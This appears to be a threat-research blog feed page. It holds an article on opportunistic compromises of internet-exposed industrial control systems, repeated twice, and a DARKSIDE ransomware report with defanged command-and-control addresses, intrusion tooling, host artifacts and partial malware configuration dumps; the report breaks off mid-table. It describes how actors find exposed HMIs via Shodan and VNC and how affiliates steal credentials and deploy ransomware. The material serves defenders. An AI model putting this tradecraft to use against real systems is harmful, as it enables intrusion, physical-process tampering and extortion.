🔒
There are new articles available, click to refresh the page.
Before yesterdayThreat Research

Crimes of Opportunity: Increasing Frequency of Low Sophistication Operational Technology Compromises

25 May 2021 at 14:00

Attacks on control processes supported by operational technology (OT) are often perceived as necessarily complex. This is because disrupting or modifying a control process to cause a predictable effect is often quite difficult and can require a lot of time and resources. However, Mandiant Threat Intelligence has observed simpler attacks, where actors with varying levels of skill and resources use common IT tools and techniques to gain access to and interact with exposed OT systems.

The activity is typically not sophisticated and is normally not targeted against specific organizations. Rather, the compromises appear to be driven by threat actors who are motivated to achieve ideological, egotistical, or financial objectives by taking advantage of an ample supply of internet-connected OT systems. As the actors are not interested in causing specific physical outcomes, they target whatever is available on the internet.

Mandiant has observed an increase in compromises of internet-accessible OT assets over the past several years. In this blog post we discuss previously undisclosed compromises and place them in context alongside publicly known incidents. Although none of these incidents have appeared to significantly impact the physical world, their increasing frequency and relative severity calls for analysis on their possible risks and implications.

Visit our website to learn more about Mandiant’s OT security practice or contact us directly to request Mandiant services or threat intelligence.

Compromises of Internet-Exposed OT Are Increasing in Frequency

While Mandiant has monitored threat actors claiming to share or sell access to internet-exposed OT systems since at least 2012, we have seen a significant increase in the frequency and relative severity of incidents in the past few years. The most common activity we observe involves actors trying to make money off exposed OT systems, but we also see actors simply sharing knowledge and expertise. More recently, we have observed more low sophistication threat activity leveraging broadly known tactics, techniques, and procedures (TTPs), and commodity tools to access, interact with, or gather information from internet exposed assets—something we had seen very little of in the past.

This low sophistication threat activity has impacted a variety of targets across different industries, ranging from solar energy panels and water control systems, to building automation systems (BAS) and home security systems in academic and private residences. While some critical infrastructure targets are very sensitive in nature, other targets present very little risk.

The following timeline presents a selection of some public and previously undisclosed OT compromises Mandiant observed between 2020 and early 2021. We note that, although it is possible many of these incidents involved process interaction, high confidence validation is not feasible as most often the evidence is provided by the actor itself.


Figure 1: Selection of notable low sophistication OT compromises: January 2020 to April 2021

Low Sophistication OT Threat Activity Can Take Many Forms

A consistent characteristic we observe among low sophisticated compromises is that actors most often exploit unsecure remote access services, such as virtual network computing (VNC) connections, to remotely access the compromised control systems. Graphical user interfaces (GUI), such as human machine interfaces (HMI), become the low-hanging fruit of process-oriented OT attacks as they provide a user-friendly representation of complex industrial processes, which enables actors to modify control variables without prior knowledge of a process. In many cases, the actors showed evidence of compromised control processes via images of GUIs, IP addresses, system timestamps, and videos.

Low Sophistication Threat Actors Access HMIs and Manipulate Control Processes

In March 2020, we analyzed a series of screenshots shared by a threat actor who claimed to compromise dozens of control systems across North America, Western and Central Europe, and East Asia. Based on the timestamps from the images, the actor appeared to gain unauthorized access to these assets over a five-day period. The actor also shared a low-quality cell phone video showing their explicit interaction with a Dutch-language temperature control system.

While much of this type of activity appears opportunistic in nature, some may also be driven by political motivations. For example, we have seen hacktivist groups that frequently use anti-Israel/pro-Palestine rhetoric in social media posts share images indicating that they had compromised OT assets in Israel, including a solar energy asset and the webserver of a datalogger used for different applications such as mining exploration and dam surveillance (Figure 2).


Figure 2: Screenshots of compromised web-interfaces supporting OT

Some threat actors appear particularly eager to demonstrate their interaction with compromised control systems. One threat actor shared multiple screen recordings making arbitrary set point changes to compromised HMIs via remote connections from their own desktop. While we suspect many of the victims compromised by this threat actor were small- and medium-sized businesses, on one occasion the group appeared to have successfully accessed the BAS of a hotel in Australia belonging to a major international hotel chain (Figure 3).


Figure 3: Screenshots showing a possible compromise of a hotel BAS

Some Amateur Actors Show Limited OT Expertise

Some of the actors we track made comments that indicated they had either a limited understanding of the OT assets they compromised or that they were simply attempting to gain notoriety. For example, one threat actor shared a screenshot of a purportedly compromised German-language rail control system. We conducted a reverse image search of the screenshot and identified the asset as the web interface for an ECoS 50210 command station designed for model train sets (Figure 4).


Figure 4: “Rail control system” that was really a web-interface for a model train set

Another group made a similar gaffe when they claimed to retaliate for an explosion at a missile facility in Iran by compromising an Israeli “gas system.” A video of their operation showed that they had actually compromised a kitchen ventilation system installed at a restaurant in Ramat Hasharon, Israel (Figure 5).


Figure 5: “Gas system” that was really a kitchen ventilation system

Low Sophistication OT Threat Activity is Supported by Hacktivist Tutorials

In a few instances, actors operating as part of hacktivist collectives created and shared tutorials that instructed their affiliates and sympathetic parties on how to identify and compromise internet-accessible OT assets. The tutorials typically described simple methodologies, such as using VNC utilities to connect to IP addresses identified in Shodan or Censys searches for port 5900. These methods appear to have been used in some of the incidents we described, as some of the shared screenshots of compromised OT systems also showed the actor’s web browser tabs displaying similar Shodan queries and remote access tools.


Figure 6: Hacktivist tutorial describing how to access the HMI of an industrial gas and liquid burner

Low Sophistication OT Compromises Pose A Growing Risk

Each of the low sophistication incidents we observe is unique and poses a different level of risk, which we normally determine by examining the actor’s previous work and reputation, the target’s industry, and the nature of the compromised process, among other things. While low sophistication incidents do not appear to commonly impact physical environments, they remain concerning for the following reasons.

  • Each incident provides threat actors with opportunities to learn more about OT, such as the underlying technology, physical processes, and operations. These opportunities can increase an adversary's ability and enhance their tradecraft.
  • Even low-sophistication intrusions into OT environments carry the risk of disruption to physical processes, mainly in the case of industries or organizations with less mature security practices. As the number of intrusions increase, so does the risk of process disruption.
  • The publicity of these incidents normalizes cyber operations against OT and may encourage other threat actors to increasingly target or impact these systems. This is consistent with the increase in OT activity by more resourced financially-motivated groups and ransomware operators.

Security Best Practices and Situational Awareness Help Prevent Low Sophistication Compromises

Defense against low sophistication compromises is best addressed by implementing security best practices and gaining situational awareness about the threat exposure of assets and data. Implementing security controls to defend against this activity is also the foundation for mature security programs that seek to prevent and identify complex OT threats before they introduce a risk to the safety of people and infrastructure.

  • Whenever feasible, remove OT assets from public-facing networks. If remote access is required, deploy access controls and monitor traffic for unusual activity to minimize unintended interaction and safeguard asset information.
  • Apply common network-hardening techniques to remotely accessible and edge devices, such as disabling unused services, changing default credentials, reviewing asset configurations, and creating whitelists for access.
  • Determine if relevant assets are discoverable using online scanners such as Shodan and Censys. Leverage support from knowledgeable security researchers to identify exposed assets and leaked information. Mandiant Threat Intelligence offers subscription content, custom analysis, and black box assessments that help organizations identify internet-exposed assets and information.
  • Maintain situational awareness on threat actors’ interest in cyber physical systems and the development of OT exploits, with particular interest in attention driven to your organization, third party providers, or original equipment manufacturers (OEM).
  • Configure HMIs and other control system assets to enforce acceptable input ranges and prohibit hazardous variable states. Similar to web application security, automation programmers should treat all operator input as potentially malicious and gain security assurances by validating that the operator input is within acceptable thresholds.

Visit our website to learn more about Mandiant’s OT security practice or contact us directly to request Mandiant services or threat intelligence.

Crimes of Opportunity: Increasing Frequency of Low Sophistication Operational Technology Compromises

25 May 2021 at 14:00

Attacks on control processes supported by operational technology (OT) are often perceived as necessarily complex. This is because disrupting or modifying a control process to cause a predictable effect is often quite difficult and can require a lot of time and resources. However, Mandiant Threat Intelligence has observed simpler attacks, where actors with varying levels of skill and resources use common IT tools and techniques to gain access to and interact with exposed OT systems.

The activity is typically not sophisticated and is normally not targeted against specific organizations. Rather, the compromises appear to be driven by threat actors who are motivated to achieve ideological, egotistical, or financial objectives by taking advantage of an ample supply of internet-connected OT systems. As the actors are not interested in causing specific physical outcomes, they target whatever is available on the internet.

Mandiant has observed an increase in compromises of internet-accessible OT assets over the past several years. In this blog post we discuss previously undisclosed compromises and place them in context alongside publicly known incidents. Although none of these incidents have appeared to significantly impact the physical world, their increasing frequency and relative severity calls for analysis on their possible risks and implications.

Visit our website to learn more about Mandiant’s OT security practice or contact us directly to request Mandiant services or threat intelligence.

Compromises of Internet-Exposed OT Are Increasing in Frequency

While Mandiant has monitored threat actors claiming to share or sell access to internet-exposed OT systems since at least 2012, we have seen a significant increase in the frequency and relative severity of incidents in the past few years. The most common activity we observe involves actors trying to make money off exposed OT systems, but we also see actors simply sharing knowledge and expertise. More recently, we have observed more low sophistication threat activity leveraging broadly known tactics, techniques, and procedures (TTPs), and commodity tools to access, interact with, or gather information from internet exposed assets—something we had seen very little of in the past.

This low sophistication threat activity has impacted a variety of targets across different industries, ranging from solar energy panels and water control systems, to building automation systems (BAS) and home security systems in academic and private residences. While some critical infrastructure targets are very sensitive in nature, other targets present very little risk.

The following timeline presents a selection of some public and previously undisclosed OT compromises Mandiant observed between 2020 and early 2021. We note that, although it is possible many of these incidents involved process interaction, high confidence validation is not feasible as most often the evidence is provided by the actor itself.


Figure 1: Selection of notable low sophistication OT compromises: January 2020 to April 2021

Low Sophistication OT Threat Activity Can Take Many Forms

A consistent characteristic we observe among low sophisticated compromises is that actors most often exploit unsecure remote access services, such as virtual network computing (VNC) connections, to remotely access the compromised control systems. Graphical user interfaces (GUI), such as human machine interfaces (HMI), become the low-hanging fruit of process-oriented OT attacks as they provide a user-friendly representation of complex industrial processes, which enables actors to modify control variables without prior knowledge of a process. In many cases, the actors showed evidence of compromised control processes via images of GUIs, IP addresses, system timestamps, and videos.

Low Sophistication Threat Actors Access HMIs and Manipulate Control Processes

In March 2020, we analyzed a series of screenshots shared by a threat actor who claimed to compromise dozens of control systems across North America, Western and Central Europe, and East Asia. Based on the timestamps from the images, the actor appeared to gain unauthorized access to these assets over a five-day period. The actor also shared a low-quality cell phone video showing their explicit interaction with a Dutch-language temperature control system.

While much of this type of activity appears opportunistic in nature, some may also be driven by political motivations. For example, we have seen hacktivist groups that frequently use anti-Israel/pro-Palestine rhetoric in social media posts share images indicating that they had compromised OT assets in Israel, including a solar energy asset and the webserver of a datalogger used for different applications such as mining exploration and dam surveillance (Figure 2).


Figure 2: Screenshots of compromised web-interfaces supporting OT

Some threat actors appear particularly eager to demonstrate their interaction with compromised control systems. One threat actor shared multiple screen recordings making arbitrary set point changes to compromised HMIs via remote connections from their own desktop. While we suspect many of the victims compromised by this threat actor were small- and medium-sized businesses, on one occasion the group appeared to have successfully accessed the BAS of a hotel in Australia belonging to a major international hotel chain (Figure 3).


Figure 3: Screenshots showing a possible compromise of a hotel BAS

Some Amateur Actors Show Limited OT Expertise

Some of the actors we track made comments that indicated they had either a limited understanding of the OT assets they compromised or that they were simply attempting to gain notoriety. For example, one threat actor shared a screenshot of a purportedly compromised German-language rail control system. We conducted a reverse image search of the screenshot and identified the asset as the web interface for an ECoS 50210 command station designed for model train sets (Figure 4).


Figure 4: “Rail control system” that was really a web-interface for a model train set

Another group made a similar gaffe when they claimed to retaliate for an explosion at a missile facility in Iran by compromising an Israeli “gas system.” A video of their operation showed that they had actually compromised a kitchen ventilation system installed at a restaurant in Ramat Hasharon, Israel (Figure 5).


Figure 5: “Gas system” that was really a kitchen ventilation system

Low Sophistication OT Threat Activity is Supported by Hacktivist Tutorials

In a few instances, actors operating as part of hacktivist collectives created and shared tutorials that instructed their affiliates and sympathetic parties on how to identify and compromise internet-accessible OT assets. The tutorials typically described simple methodologies, such as using VNC utilities to connect to IP addresses identified in Shodan or Censys searches for port 5900. These methods appear to have been used in some of the incidents we described, as some of the shared screenshots of compromised OT systems also showed the actor’s web browser tabs displaying similar Shodan queries and remote access tools.


Figure 6: Hacktivist tutorial describing how to access the HMI of an industrial gas and liquid burner

Low Sophistication OT Compromises Pose A Growing Risk

Each of the low sophistication incidents we observe is unique and poses a different level of risk, which we normally determine by examining the actor’s previous work and reputation, the target’s industry, and the nature of the compromised process, among other things. While low sophistication incidents do not appear to commonly impact physical environments, they remain concerning for the following reasons.

  • Each incident provides threat actors with opportunities to learn more about OT, such as the underlying technology, physical processes, and operations. These opportunities can increase an adversary's ability and enhance their tradecraft.
  • Even low-sophistication intrusions into OT environments carry the risk of disruption to physical processes, mainly in the case of industries or organizations with less mature security practices. As the number of intrusions increase, so does the risk of process disruption.
  • The publicity of these incidents normalizes cyber operations against OT and may encourage other threat actors to increasingly target or impact these systems. This is consistent with the increase in OT activity by more resourced financially-motivated groups and ransomware operators.

Security Best Practices and Situational Awareness Help Prevent Low Sophistication Compromises

Defense against low sophistication compromises is best addressed by implementing security best practices and gaining situational awareness about the threat exposure of assets and data. Implementing security controls to defend against this activity is also the foundation for mature security programs that seek to prevent and identify complex OT threats before they introduce a risk to the safety of people and infrastructure.

  • Whenever feasible, remove OT assets from public-facing networks. If remote access is required, deploy access controls and monitor traffic for unusual activity to minimize unintended interaction and safeguard asset information.
  • Apply common network-hardening techniques to remotely accessible and edge devices, such as disabling unused services, changing default credentials, reviewing asset configurations, and creating whitelists for access.
  • Determine if relevant assets are discoverable using online scanners such as Shodan and Censys. Leverage support from knowledgeable security researchers to identify exposed assets and leaked information. Mandiant Threat Intelligence offers subscription content, custom analysis, and black box assessments that help organizations identify internet-exposed assets and information.
  • Maintain situational awareness on threat actors’ interest in cyber physical systems and the development of OT exploits, with particular interest in attention driven to your organization, third party providers, or original equipment manufacturers (OEM).
  • Configure HMIs and other control system assets to enforce acceptable input ranges and prohibit hazardous variable states. Similar to web application security, automation programmers should treat all operator input as potentially malicious and gain security assurances by validating that the operator input is within acceptable thresholds.

Visit our website to learn more about Mandiant’s OT security practice or contact us directly to request Mandiant services or threat intelligence.

Shining a Light on DARKSIDE Ransomware Operations

11 May 2021 at 21:30

Update (May 14): Mandiant has observed multiple actors cite a May 13 announcement that appeared to be shared with DARKSIDE RaaS affiliates by the operators of the service. This announcement stated that they lost access to their infrastructure, including their blog, payment, and CDN servers, and would be closing their service. Decrypters would also be provided for companies who have not paid, possibly to their affiliates to distribute. The post cited law enforcement pressure and pressure from the United States for this decision. We have not independently validated these claims and there is some speculation by other actors that this could be an exit scam.

Background

Since initially surfacing in August 2020, the creators of DARKSIDE ransomware and their affiliates have launched a global crime spree affecting organizations in more than 15 countries and multiple industry verticals. Like many of their peers, these actors conduct multifaceted extortion where data is both exfiltrated and encrypted in place, allowing them to demand payment for unlocking and the non-release of stolen data to exert more pressure on victims.

The origins of these incidents are not monolithic. DARKSIDE ransomware operates as a ransomware-as-a-service (RaaS) wherein profit is shared between its owners and partners, or affiliates, who provide access to organizations and deploy the ransomware. Mandiant currently tracks multiple threat clusters that have deployed this ransomware, which is consistent with multiple affiliates using DARKSIDE. These clusters demonstrated varying levels of technical sophistication throughout intrusions. While the threat actors commonly relied on commercially available and legitimate tools to facilitate various stages of their operations, at least one of the threat clusters also employed a now patched zero-day vulnerability.

Reporting on DARKSIDE has been available in advance of this blog post to users of Mandiant Advantage Free, a no-cost version of our threat intelligence platform.

Targeting

Mandiant has identified multiple DARKSIDE victims through our incident response engagements and from reports on the DARKSIDE blog. Most of the victim organizations were based in the United States and span across multiple sectors, including financial services, legal, manufacturing, professional services, retail, and technology. The number of publicly named victims on the DARKSIDE blog has increased overall since August 2020, with the exception of a significant dip in the number of victims named during January 2021 (Figure 1). It is plausible that the decline in January was due to threat actors using DARKSIDE taking a break during the holiday season. The overall growth in the number of victims demonstrates the increasing use of the DARKSIDE ransomware by multiple affiliates.


Figure 1: Known DARKSIDE victims (August 2020 to April 2021)

DARKSIDE Ransomware Service

Beginning in November 2020, the Russian-speaking actor "darksupp" advertised DARKSIDE RaaS on the Russian-language forums exploit.in and xss.is. In April 2021, darksupp posted an update for the "Darkside 2.0" RaaS that included several new features and a description of the types of partners and services they were currently seeking (Table 1). Affiliates retain a percentage of the ransom fee from each victim. Based on forum advertisements, the RaaS operators take 25% for ransom fees less than $500,000, but this decreases to 10 percent for ransom fees greater than $5 million.

In addition to providing builds of DARKSIDE ransomware, the operators of this service also maintain a blog accessible via TOR. The actors use this site to publicize victims in an attempt to pressure these organizations into paying for the non-release of stolen data. A recent update to their underground forum advertisement also indicates that actors may attempt to DDoS victim organizations. The actor darksupp has stated that affiliates are prohibited from targeting hospitals, schools, universities, non-profit organizations, and public sector entities. This may be an effort by the actor(s) to deter law enforcement action, since targeting of these sectors may invite additional scrutiny. Affiliates are also prohibited from targeting organizations in Commonwealth of Independent States (CIS) nations.

Advertisement Date/Version

Feature/Update

Related Reporting

Nov. 10, 2020 (V1)

 

Ability to generate builds for both Windows and Linux environments from within the administration panel. 

20-00023273

Encrypts files using Salsa20 encryption along with an RSA-1024 public key

Access to an administrative panel via TOR that can be used by clients to manage Darkside builds, payments, blog posts, and communication with victims

The admin panel includes a Blog section that allows clients to publish victim information and announcements to the Darkside website for the purposes of shaming victims and coercing them to pay ransom demands

April 14, 2021 (V2.0)

 

Automated test decryption. The process from encryption to withdrawal of money is automated and no longer relies on support.

21-00008435

Available DDoS of targets (Layer 3, Layer 7)

Sought a partner to provide network accesses to them and a person or team with pentesting skills

Table 1: Notable features and updates listed on DARKSIDE advertisement thread (exploit.in)

DARKSIDE Affiliates

DARKSIDE RaaS affiliates are required to pass an interview after which they are provided access to an administration panel (Figure 2). Within this panel, affiliates can perform various actions such as creating a ransomware build, specifying content for the DARKSIDE blog, managing victims, and contacting support. Mandiant has identified at least five Russian-speaking actors who may currently, or have previously, been DARKSIDE affiliates. Relevant advertisements associated with a portion of these threat actors have been aimed at finding either initial access providers or actors capable of deploying ransomware on accesses already obtained. Some actors claiming to use DARKSIDE have also allegedly partnered with other RaaS affiliate programs, including BABUK and SODINOKIBI (aka REvil). For more information on these threat actors, please see Mandiant Advantage.


Figure 2: DARKSIDE affiliate panel

Attack Lifecycle

Mandiant currently tracks five clusters of threat activity that have involved the deployment of DARKSIDE. For more information on uncategorized threats, refer to our post, "DebUNCing Attribution: How Mandiant Tracks Uncategorized Threat Actors." These clusters may represent different affiliates of the DARKSIDE RaaS platform. Throughout observed incidents, the threat actor commonly relied on various publicly available and legitimate tools that are commonly used to facilitate various stages of the attack lifecycle in post-exploitation ransomware attacks (Figure 3). Additional details on three of these UNC groups are included below.


Figure 3: TTPs seen throughout DARKSIDE ransomware engagements

UNC2628

UNC2628 has been active since at least February 2021. Their intrusions progress relatively quickly with the threat actor typically deploying ransomware in two to three days. We have some evidence that suggests UNC2628 has partnered with other RaaS including SODINOKIBI (REvil) and NETWALKER.

  • In multiple cases we have observed suspicious authentication attempts against corporate VPN infrastructure immediately prior to the start of interactive intrusion operations. The authentication patterns were consistent with a password spraying attack, though available forensic evidence was insufficient to definitively attribute this precursor activity to UNC2628.
  • In cases where evidence was available, the threat actor appeared to obtain initial access through corporate VPN infrastructure using legitimate credentials.
  • UNC2628 has interacted with victim environments using various legitimate accounts, but in multiple cases has also created and used a domain account with the username 'spservice'. Across all known intrusions, UNC2628 has made heavy use of the Cobalt Strike framework and BEACON payloads. BEACON command and control (C2) infrastructure attributed to this actor has included the following:
    • hxxps://104.193.252[.]197:443/
    • hxxps://162.244.81[.]253:443/
    • hxxps://185.180.197[.]86:443/
    • hxxps://athaliaoriginals[.]com/
    • hxxps://lagrom[.]com:443/font.html
    • hxxps://lagrom[.]com:443/night.html
    • hxxps://lagrom[.]com:443/online.html
    • hxxps://lagrom[.]com:443/send.html
    • hxxps://lagrom[.]com/find.html?key=id#-
  • In at least some cases there is evidence to suggest this actor has employed Mimikatz for credential theft and privilege escalation.
  • The threat actor appeared to have used built-in commands such as ‘net’ and ‘ping’ to perform basic reconnaissance of the internal network, though it is likely that additional reconnaissance was performed via BEACON and not represented in available log sources.
  • UNC2628 has moved laterally in environments almost exclusively via RDP using legitimate credentials and Cobalt Strike BEACON payloads. This threat cluster uses both HTTPS BEACON payloads and SMB BEACON, the latter almost exclusively using named pipes beginning with “\\.\pipe\UIA_PIPE_”
  • Intrusions attributed to this threat cluster have progressed swiftly from intrusion to data theft and ransomware deployment, and have thus not focused heavily on maintaining a persistent foothold in impacted environments.  Despite this, UNC2628 has maintained access via the collection of legitimate credentials, the creation of attacker-controlled domain accounts (spservice), and via the creation of Windows services intended to launch BEACON. Notably, UNC2628 has repeatedly loaded BEACON with a service named ‘CitrixInit’.
  • UNC2628 has also employed F-Secure Labs' Custom Command and Control (C3) framework, deploying relays configured to proxy C2 communications through the Slack API. Based on this actor's other TTPs they were likely using C3 to obfuscate Cobalt Strike BEACON traffic.
  • The threat actor has exfiltrated data over SFTP using Rclone to systems in cloud hosting environments. Rclone is a command line utility to manage files for cloud storage applications. Notably, the infrastructure used for data exfiltration has been reused across multiple intrusions. In one case, the data exfiltration occurred on the same day that the intrusion began.
  • UNC2628 deploys DARKSIDE ransomware encryptors using PsExec to a list of hosts contained in multiple text files.
  • The threat actor has used the following directories, placing copies of backdoors, ransomware binaries, copies of PsExec, and lists of victim hosts within them.
    • C:\run\
    • C:\home\
    • C:\tara\
    • C:\Users\[username]\Music\
    • C:\Users\Public

UNC2659

UNC2659 has been active since at least January 2021. We have observed the threat actor move through the whole attack lifecycle in under 10 days. UNC2659 is notable given their use of an exploit in the SonicWall SMA100 SSL VPN product, which has since been patched by SonicWall. The threat actor appeared to download several tools used for various phases of the attack lifecycle directly from those tools’ legitimate public websites.

  • The threat actor obtained initial access to their victim by exploiting CVE-2021-20016, an exploit in the SonicWall SMA100 SSL VPN product, which has been patched by SonicWall. There is some evidence to suggest the threat actor may have used the vulnerability to disable multi-factor authentication options on the SonicWall VPN, although this has not been confirmed.
  • The threat actor leveraged TeamViewer (TeamViewer_Setup.exe) to establish persistence within the victim environment. Available evidence suggests that the threat actor downloaded TeamViewer directly from the following URL and also browsed for locations from which they could download the AnyDesk utility.
    • hxxps://dl.teamviewer[.]com/download/version_15x/TeamViewer_Setup.exe
  • The threat actor appeared to download the file rclone.exe directly from rclone[.]org - hxxps://downloads.rclone[.]org/v1.54.0/rclone-v1.54.0-windows-amd64.zip. The threat actors were seen using rclone to exfiltrate hundreds of gigabytes of data over the SMB protocol to the pCloud cloud-based hosting and storage service.
  • The threat actor deployed the file power_encryptor.exe in a victim environment, encrypting files and creating ransom notes over the SMB protocol.
  • Mandiant observed the threat actor navigate to ESXi administration interfaces and disable snapshot features prior to the ransomware encryptor deployment, which affected several VM images.

UNC2465

UNC2465 activity dates back to at least April 2019 and is characterized by their use of similar TTPs to distribute the PowerShell-based .NET backdoor SMOKEDHAM in victim environments. In one case where DARKSIDE was deployed, there were months-long gaps, with only intermittent activity between the time of initial compromise to ransomware deployment. In some cases, this could indicate that initial access was provided by a separate actor.

  • UNC2465 used phishing emails and legitimate services to deliver the SMOKEDHAM backdoor. SMOKEDHAM is a .NET backdoor that supports keylogging, taking screenshots, and executing arbitrary .NET commands. During one incident, the threat actor appeared to establish a line of communication with the victim before sending a malicious Google Drive link delivering an archive containing an LNK downloader. More recent UNC2465 emails have used Dropbox links with a ZIP archive containing malicious LNK files that, when executed, would ultimately lead to SMOKEDHAM being downloaded onto the system.  
  • UNC2465 has used Advanced IP Scanner, BLOODHOUND, and RDP for internal reconnaissance and lateral movement activities within victim environments.
  • The threat actor has used Mimikatz for credential harvesting to escalate privileges in the victim network.
  • UNC2465 also uses the publicly available NGROK utility to bypass firewalls and expose remote desktop service ports, like RDP and WinRM, to the open internet.
  • Mandiant has observed the threat actor using PsExec and cron jobs to deploy the DARKSIDE ransomware.
  • UNC2465 has called the customer support lines of victims and told them that data was stolen and instructed them to follow the link in the ransom note.

Implications

We believe that threat actors have become more proficient at conducting multifaceted extortion operations and that this success has directly contributed to the rapid increase in the number of high-impact ransomware incidents over the past few years. Ransomware operators have incorporated additional extortion tactics designed to increase the likelihood that victims will acquiesce to paying the ransom prices. As one example, in late April 2021, the DARKSIDE operators released a press release stating that they were targeting organizations listed on the NASDAQ and other stock markets. They indicated that they would be willing to give stock traders information about upcoming leaks in order to allow them potential profits due to stock price drops after an announced breach. In another notable example, an attacker was able to obtain the victim's cyber insurance policy and leveraged this information during the ransom negotiation process refusing to lower the ransom amount given their knowledge of the policy limits. This reinforces that during the post-exploitation phase of ransomware incidents, threat actors can engage in internal reconnaissance and obtain data to increase their negotiating power. We expect that the extortion tactics that threat actors use to pressure victims will continue to evolve throughout 2021.

Based on the evidence that DARKSIDE ransomware is distributed by multiple actors, we anticipate that the TTPs used throughout incidents associated with this ransomware will continue to vary somewhat. For more comprehensive recommendations for addressing ransomware, please refer to our blog post: "Ransomware Protection and Containment Strategies: Practical Guidance for Endpoint Protection, Hardening, and Containment" and the linked white paper.

Acknowledgements

Beyond the comparatively small number of people who are listed as authors on this report are hundreds of consultants, analysts and reverse-engineers who tirelessly put in the work needed to respond to intrusions at breakneck pace and still maintain unbelievably high analytical standards. This larger group has set the foundation for all of our work, but a smaller group of people contributed more directly to producing this report and we would like to thank them by name. We would like to specifically thank Bryce Abdo and Matthew Dunwoody from our Advanced Practices team and Jay Smith from FLARE, all of whom provided analytical support and technical review. Notable support was also provided by Ioana Teaca, and Muhammadumer Khan.

Appendix A: DARKSIDE Ransomware Analysis

DARKSIDE is a ransomware written in C that may be configured to encrypt files on fixed and removable disks as well as network shares. DARKSIDE RaaS affiliates are given access to an administration panel on which they create builds for specific victims. The panel allows some degree of customization for each ransomware build such as choosing the encryption mode and whether local disks and network shares should be encrypted (Figures 4). The following malware analysis is based on the file MD5: 1a700f845849e573ab3148daef1a3b0b. A more recently analyzed DARKSIDE sample had the following notable differences:

  • The option for beaconing to a C2 server was disabled and the configuration entry that would have contained a C2 server was removed.
  • Included a persistence mechanism in which the malware creates and launches itself as a service.
  • Contained a set of hard-coded victim credentials that were used to attempt to logon as a local user. If the user token retrieved based on the stolen credentials is an admin token and is part of the domain administrators' group, it is used for network enumeration and file permission access.


Figure 4: DARKSIDE build configuration options appearing in the administration panel

Host-Based Indicators

Persistence Mechanism

Early versions of the malware did not contain a persistence mechanism. An external tool or installer was required if the attacker desired persistence. A DARKSIDE version observed in May 2021 implement a persistence mechanism through which the malware creates and launches itself as a service with a service name and description named using eight pseudo-randomly defined lowercase hexadecimal characters (e.g., ".e98fc8f7") that are also appended by the malware to various other artifacts it created.  This string of characters is referenced as <ransom_ext>. :

Service Name: <ransom_ext>
Description: <ransom_ext>

Filesystem Artifacts

Created Files

%CD%\LOG<ransom_ext>.TXT
README<ransom_ext>.TXT
<original_filename_plus_ext><ransom_ext>
May version: %PROGRAMDATA%\<ransom_ext>.ico

Registry Artifacts

The DARKSIDE version observed in May sets the following registry key:

HKCR\<ransom_ext>\DefaultIcon\<ransom_ext>\DefaultIcon=%PROGRAMDATA%\<ransom_ext>.ico

Details

Configuration

The malware initializes a 0x100-byte keystream used to decrypt strings and configuration data. Strings are decrypted as needed and overwritten with NULL bytes after use. The malware's configuration size is 0xBE9 bytes. A portion of the decrypted configuration is shown in Figure 5.

00000000  01 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00000010  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00000020  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00000030  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00000040  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00000050  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00000060  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00000070  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00000080  95 AA A8 7C 2B 6A D5 12 0E 73 B3 7D BD 16 25 62  •ª¨|+jÕ..s³}½.%b
00000090  A4 A8 BF 19 73 F7 E0 BC DF 02 A8 94 32 CF 0C C0  ¤¨¿.s÷à¼ß.¨"2Ï.À
000000A0  C5 83 0F 14 66 02 87 EE FD 29 96 DF 02 05 C1 12  Ń..f.‡îý)–ß..Á.
000000B0  3E 43 A7 59 E1 F0 C4 5D AE E1 20 2E 77 D9 CA 3C  >C§YáðÄ]®á .wÙÊ<
000000C0  AD C6 BC 84 75 1C E7 0B F0 30 2A 51 13 7A B2 66  .Ƽ„u.ç.ð0*Q.z²f
000000D0  44 73 79 E1 E4 69 C3 CA 1B C1 76 63 65 95 EA CA  DsyáäiÃÊ.Ávce•êÊ
000000E0  F6 10 68 0D CE 36 61 F9 57 B9 19 50 31 D4 E1 70  ö.h.Î6aùW¹.P1Ôáp
000000F0  EC 7B 33 1E 4F 17 E1 80 1D BC CF 8C D8 C5 66 41  ì{3.O.á€.¼ÏŒØÅfA
00000100  E5 0A 00 00 02 6E 01 02 15 03 43 01 8E 24 0E 72  å....n....C.Ž$.r
<cut>

Figure 5: Partial decrypted configuration

The sample's 0x80-byte RSA public key blob begins at offset 0x80. The DWORD value at offset 0x100 is multiplied by 64 and an amount of memory equivalent to the result is allocated. The remaining bytes, which start at offset 0x104, are aPLib-decompressed into the allocated buffer. The decompressed bytes include the ransom note and other elements of the malware's configuration described as follows (e.g., processes to terminate, files to ignore). The first 0x60 bytes of the decompressed configuration are shown in Figure 6.

00000000  02 01 01 01 00 01 01 00 01 01 01 01 01 01 01 01  ................
00000010  01 01 01 01 01 01 24 00 72 00 65 00 63 00 79 00  ......$.r.e.c.y.
00000020  63 00 6C 00 65 00 2E 00 62 00 69 00 6E 00 00 00  c.l.e...b.i.n...
00000030  63 00 6F 00 6E 00 66 00 69 00 67 00 2E 00 6D 00  c.o.n.f.i.g...m.
00000040  73 00 69 00 00 00 24 00 77 00 69 00 6E 00 64 00  s.i...$.w.i.n.d.
00000050  6F 00 77 00 73 00 2E 00 7E 00 62 00 74 00 00 00  o.w.s...~.b.t...
<cut>

Figure 6: Partial decompressed configuration

The first byte from Figure 6 indicates the encryption mode. This sample is configured to encrypt using FAST mode. Supported values are as follows:

  • 1: FULL
  • 2: FAST
  • Other values: AUTO

The individual bytes from offset 0x02 to offset 0x15 in Figure 6 are Boolean values that dictate the malware's behavior. The malware takes the actions listed in Table 2 based on these values. Table 2 also identifies features that are enabled or disabled for the current sample.

Offset

Enabled

Description

0x01

Yes

Unknown

0x02

Yes

Encrypt local disks

0x03

Yes

Encrypt network shares

0x04

No

Perform language check

0x05

Yes

Delete volume shadow copies

0x06

Yes

Empty Recycle Bins

0x07

No

Self-delete

0x08

Yes

Perform UAC bypass if necessary

0x09

Yes

Adjust token privileges

0x0A

Yes

Logging

0x0B

Yes

Feature not used but results in the following strings being decrypted:

  • https://google.com/api/version
  • https://yahoo.com/v2/api

0x0C

Yes

Ignore specific folders

0x0D

